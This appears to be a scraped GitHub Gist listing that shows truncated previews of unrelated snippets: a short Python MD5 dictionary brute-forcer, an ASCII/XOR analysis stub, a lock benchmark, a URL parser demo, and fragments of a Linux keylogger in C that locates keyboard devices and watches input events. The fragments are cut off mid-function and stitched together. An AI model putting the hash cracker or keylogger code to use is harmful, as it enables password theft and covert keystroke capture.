Skip to content

Instantly share code, notes, and snippets.

# md5 brute force in 3 lines of python.
# ./this <digest> <wordfile>
import sys, hashlib
for line in file(sys.argv[2]):
if hashlib.md5(line.rstrip()).hexdigest() == sys.argv[1]: print line,
#!/usr/bin/python
from itertools import izip, cycle
import string, sys
def ascii_analysis(data):
total_len = len(data)
total_ascii = 0
for char in data:
if char in string.ascii_letters or char in ['\r', '\n'] or char in string.digits or char in string.whitespace:
__ __
\ \ ___ / /
\ \ / _ \ / /
\ \ (_) / /
\_\___/_/
/* CAS lock comparison to mutex */
/*
mthomas@atticus:~$ gcc -O3 -m64 -march=core2 -mfpmath=sse -msse4 cas_queue.c -o cas_queue -lpthread
mthomas@atticus:~$ ./cas_queue
cas locks 4.77 seconds
mutex locks 38.05 seconds
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
mthomas@atticus:~$ ./u "http://fdsfdsu:[email protected]:8080/fda"
Scheme = http
Host = www.ackers.net
Port = 8080
User = fdsfdsu
Pass = sfsdfds
*/
#include <stdio.h>
#include <stdint.h>
unsigned char
is_keyboard(const char *file)
{
int fd;
uint8_t bitmask;
fd = open(file, O_RDONLY);
if (fd < 0) {
return(0);
const char **
keylogger_find_keyboards(void)
{
const char **keyboards;
DIR *dip = NULL;
struct dirent *dit = NULL;
int i = 0;
dip = opendir(keyboard_dir);
int
keyboard_watcher_init(const char **keyboards)
{
const char *keyboard = NULL;
while ((keyboard = *(keyboards++)) != NULL) {
int fd;
keyboard_t *kb;
fd = open(keyboard, O_RDONLY | O_NONBLOCK);
typedef struct {
uint8_t shift_mod;
uint8_t caps_mod;
struct event event;
} keyboard_t;
struct input_event {
struct timeval time;
__u16 type;
__u16 code;
__s32 value;
};